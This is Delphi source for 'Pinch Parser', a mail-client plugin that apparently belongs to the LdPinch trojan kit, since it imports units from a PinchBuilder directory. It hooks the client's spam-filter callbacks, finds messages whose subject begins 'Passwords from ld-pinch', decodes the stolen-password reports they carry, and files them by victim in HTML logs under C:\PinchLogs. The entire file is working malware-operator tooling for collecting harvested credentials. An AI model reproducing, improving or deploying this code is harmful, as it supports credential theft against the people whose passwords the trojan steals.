library Pinch;


uses
  Windows,
  SysUtils,
  Classes,
  ActiveX,
  IdGlobal,
  IniFiles,
  ShellAPI,
  ShlObj,
  WTCPwd in '..\PinchBuilder\WTCPwd.pas',
  ieConst in '..\PinchBuilder\ieConst.pas',
  IEDocHostUIHandler in '..\PinchBuilder\IEDocHostUIHandler.pas',
  xBase in '..\PinchBuilder\xBase.pas',
  XorKeyGen in '..\PinchBuilder\XorKeyGen.pas',
  xProcess in '..\PinchBuilder\xProcess.pas',
  MadCrypt in '..\PinchBuilder\MadCrypt.pas',
  MadTypes in '..\PinchBuilder\MadTypes.pas',
  MadZip in '..\PinchBuilder\MadZip.pas',
  CryptoUtils in 'HashLib!\CryptoUtils.pas',
  Adler in 'HashLib!\Adler.pas',
  CryptoAPI in 'HashLib!\CryptoAPI.pas';

{$E TBP}
{$R Resources.RES}

type
  PArray = ^TArray;
  TArray = array[Byte] of Int64;

  ITBPDataProvider = interface ['{9DD91B89-A551-4180-8A81-2CCF584CD4BF}']
    function GetDataByID(ID: Integer; B: Pointer; BSize: Integer): Integer; stdcall;
    function SetDataByID(ID: Integer; B: Pointer; BSize: Integer): Integer; stdcall;
    function GetIntValue(ID: Integer): Integer; stdcall;
    function SetIntValue(ID, Value: Integer): Integer; stdcall;
    function GetIDType(ID: Integer): Integer; stdcall;
    function ItemCount: Integer; stdcall;
    function ExecuteMacro(AMacro: Pointer; MaxLen: Integer; InData, OutData: ITBPDataProvider): HResult; stdcall;
  end;

var
  Fold: String;


procedure TBP_Initialize; stdcall;
begin
  Randomize;
  if not ReadOptionStr('Path', Fold) then
    Fold := 'C:\PinchLogs';
end;

procedure TBP_Finalize; stdcall;
begin
  WriteOptionStr('Path', Fold);
end;

function GetStr(const S: String; B: PChar; BSize: Integer): Integer;
begin
  if (B = nil) or (BSize < 0) then Result := Length(S) else
  try
    if BSize > Length(S) then BSize := Length(S);
    if BSize > 0 then Move(S[1], B[0], BSize);
    Result := BSize;
  except
    Result := 0;
  end;
end;

function TBP_GetName(B: PChar; BSize: Integer): Integer; stdcall;
begin
  Result := GetStr('Pinch Parser', B, BSize);
end;

function TBP_GetVersion(B: PChar; BSize: Integer): Integer; stdcall;
begin
  Result := GetStr('1.0', B, BSize);
end;

function TBP_GetStatus: Integer; stdcall;
begin
  Result := 0;
end;

function TBP_NeedConfig: Integer; stdcall;
begin
  Result := 1;
end;

function TBP_NeedCOM: Integer; stdcall;
begin
  Result := 1;
end;

function TBP_Setup: Integer; stdcall;
var
  lpbi: TBrowseInfo;
  S: String;
  i: PItemIDList;
  ppMalloc: IMalloc;
begin
  SHGetMalloc(ppMalloc);
  lpbi.hwndOwner := GetActiveWindow;
  lpbi.pidlRoot := nil;
  SetLength(S, MAX_PATH);
  S[1] := #0;
  lpbi.pszDisplayName := @S[1];
  lpbi.ulFlags := $0040;
  lpbi.lpszTitle := 'Choose folder for storing report files.';
  lpbi.lpfn := nil;
  lpbi.lParam := 0;
  lpbi.iImage := 0;
  i := SHBrowseForFolder(lpbi);
  S[1] := #0;
  SHGetPathFromIDList(i, @S[1]);
  if i <> nil then begin
    Fold := PChar(@S[1]);
    if Fold = '' then
      Fold := 'C:\PinchLogs';
    ppMalloc.Free(i);
  end;
  ppMalloc._Release;
  Result := 0;
end;

const
  mpidMessageHeader            =  100000;   // raw message RFC 822 header
  mpidMessageBody              =  100001;   // decoded message body (not available yet)
  mpidMessageAttachments       =  100002;   // a CR-delimited list of attachments
  mpidMessageSender            =  100003;   // decoded message sender (FROM)
  mpidMessageSubject           =  100004;   // decoded message subject
  mpidRawMessage               =  100005;   // raw message body


type
  TBPGetDataProc = function(ID, DataID: Integer; Buf: PChar; BufSize: Integer): Integer; stdcall;

function GetDataStr(Idx, MsgID: Integer; GetData: TBPGetDataProc): String;
var
  I: Integer;
  P: PChar;
  Sz: Integer;
begin
  P := nil;
  Sz := 0;
  Result := '';
  try
    I := GetData(MsgID, Idx, nil, 0);
    if I > 0 then
    begin
      if I > Sz then
      begin
        ReallocMem(P, I);
        Sz := I;
      end;
      I := GetData(MsgID, Idx, P, Sz);
      if I > 0 then SetString(Result, P, I);
    end;
  except
    Result := '';
  end;
  FreeMem(P);
end;

//Сортировка Хоара
procedure Change(var A, B: Int64);
var
  C: Int64;
begin
  C := A; A := B; B := C;
end;

procedure SortQS(a: PArray; N: DWord);
  procedure QS(L, R: Int64);
  var
    I, J: Int64;
    P: Int64;
  begin
    repeat
      I := L;
      J := R;
      P := a[Int64((Int64(L + R)) shr 1)];
      repeat
        while a[I] < P do I := I + 1;
        while a[J] > P do J := J - 1;
        if I <= J then begin
          Change(a[I], a[J]);
          I := I + 1;
          J := J - 1;
        end;
      until I > J;
      if L < J then QS(L, J);
      L := I;
    until I >= R;
  end;
begin
  QS(0, N - 1);
end;

procedure DoWork(MsgID: Integer; GetData: TBPGetDataProc);
var
  S, S2, S3, L, L2: String;
  F: TextFile;
  List, List2, List3: TStringList;
  IniFile: TIniFile;
  p, i, j, k, N: Integer;
  A: PArray;
  R: Double;
  D: Int64;
  st: TSystemTime;
  ft: TFileTime;
const
  C: String = 'Subject: Passwords from ld-pinch (';
begin
  try
    D := 0;
    S := GetDataStr(mpidRawMessage, MsgID, GetData);
    List := TStringList.Create;
    p := Pos(#13#10#13#10, S);
    if p > 0 then begin
      List.Text := Copy(S, 1, p);
      for i := List.Count-1 downto 0 do begin
        if UpperCase(Copy(List[i], 1, 6)) = 'DATE: ' then begin
          S2 := List[i]; Delete(S2, 1, 6);
          R := GMTToLocalDateTime(S2);
          DateTimeToSystemTime(R, st);
          SystemTimeToFileTime(st, ft);
          D := Int64(ft.dwLowDateTime + Int64(ft.dwHighDateTime) shl 32);
        end else if UpperCase(Copy(List[i], 1, Length(C))) = UpperCase(C) then begin
          S2 := Copy(List[i], Length(C)+1, Pos(')', List[i]) - Length(C)-1);
          if S2 = '' then begin
            S2 := 'unk_';
            for j := 1 to 5 do
              S2 := S2 + Chr((Random(Ord('a')-Ord('z')) + Ord('a')));
          end;
          S := Trim(Copy(S, p+2, Length(S)-p+10));
          S := xProcessData(S);
          if Copy(S, 0, 4) <> '<fon' then Break;
          HashStr(HASH_ADLER32, S, S3);

          if not DirectoryExists(Fold) then
            CreateDirectory(PChar(Fold), nil);

          IniFile := TIniFile.Create(Fold + '\conf.txt');
          if IniFile.SectionExists(S3) then begin
            IniFile.Free;
            Break;
          end;

          S := GetStringFromResource('HEADERDATA') + '<h2><u>' + S2 + '</u></h2><script type="text/javascript">genoutput();</script><br><hr noshade size=1>' +
               S + GetStringFromResource('FOOTERDATA') + '<br>';

          IniFile.WriteString(S3, 'Name', S2);
          IniFile.WriteString(S3, 'TimeStr', xTimeToStr(D));
          IniFile.WriteString(S3, 'TimeInt', IntToStr(D));
          IniFile.UpdateFile;
          List2 := TStringList.Create;
          IniFile.ReadSections(List2);
          N := List2.Count;
          IniFile.WriteInteger(S3, 'File', N-1);

          {$I-}
          Assign(F, Fold+'\'+IntToStr(N-1)+'.html'); Rewrite(F);
          Write(F, S);
          Close(F);
          {$I+}

          GetMem(A, N*8);
          for j := 0 to N-1 do begin
            S3 := IniFile.ReadString(List2.Strings[j], 'TimeInt', '');
            A[j] := StrToInt64(S3);
          end;
          if N > 0 then
            SortQS(A, N);

          L := 'var idx_ = new Array('; L2 := 'var time_ = new Array(';
          p := 0;
          for j := N-1 downto 0 do begin
            S3 := IntToStr(A[j]);
            for k := 0 to N-1 do begin
              if IniFile.ReadString(List2.Strings[k], 'TimeInt', '') = S3 then begin
                if p <> 0 then begin
                  L2 := L2 + ',';
                  L := L + ',';
                end;
                p := 1;
                L := L + IniFile.ReadString(List2.Strings[k], 'File', '');
                L2 := L2 + '"' + IniFile.ReadString(List2.Strings[k], 'TimeStr', '') + '"';
                Break;
              end;
            end;
          end;
          
          L := L + ');'#13#10 + 'function next(c) {window.navigate(idx_[c] + ".html?" + c);}' + #13#10;
          L2 := L2 + ');';
          List3 := TStringList.Create;
          List3.Text := L + #13#10 + L2 + #13#10 + GetStringFromResource('OUTPUTDATA');
          List3.SaveToFile(Fold + '\list.js');
          List3.Clear;
          L2 := '';
          S := GetStringFromResource('HEADERDATA') + '<h2><u>List</u></h2><br>';

          for j := N-1 downto 0 do begin
            S3 := IntToStr(A[j]);
            for k := 0 to N-1 do
              if IniFile.ReadString(List2.Strings[k], 'TimeInt', '') = S3 then
                L2 := L2 + IniFile.ReadString(List2.Strings[k], 'TimeStr', '') +
                      ': <A href="' + IniFile.ReadString(List2.Strings[k], 'File', '') + '.html?' +
                      IntToStr(N-1-j) + '">' +
                      IniFile.ReadString(List2.Strings[k], 'Name', '') + '</A><br>';
          end;

          S := S + L2 + GetStringFromResource('FOOTERDATA');
          List3.Text := S;
          List3.SaveToFile(Fold + '\list.html');
          
          List3.Free;          
          List2.Free;
          IniFile.Free;
          FreeMem(A);
          Break;
        end;
      end;
      List.Free;
    end;
  except
  end;
end;

function TBP_GetSpamScore(MsgID: Integer; GetData: TBPGetDataProc): Integer; stdcall;
begin
  Result := 0;
  DoWork(MsgID, GetData);
end;


function TBP_FeedSpam(MsgID, IsSPAM: Integer; GetData: TBPGetDataProc): Integer; stdcall;
begin
  Result := 0;
  DoWork(MsgID, GetData);
end;


function TBP_GetMacroList(AData: Pointer; ADataSize: Integer): Integer; stdcall;
begin
  Result := -2;
end;


function TBP_ExecMacro(AMacro: Pointer; MaxLen: Integer; Template, Params: ITBPDataProvider): Integer; stdcall;
begin
  Result := -2;
end;


exports TBP_NeedConfig, TBP_FeedSpam, TBP_GetStatus, TBP_GetVersion, TBP_GetName,
  TBP_Finalize, TBP_Initialize, TBP_Setup, TBP_NeedCOM, TBP_GetSpamScore,
  TBP_GetMacroList, TBP_ExecMacro;

begin
end.

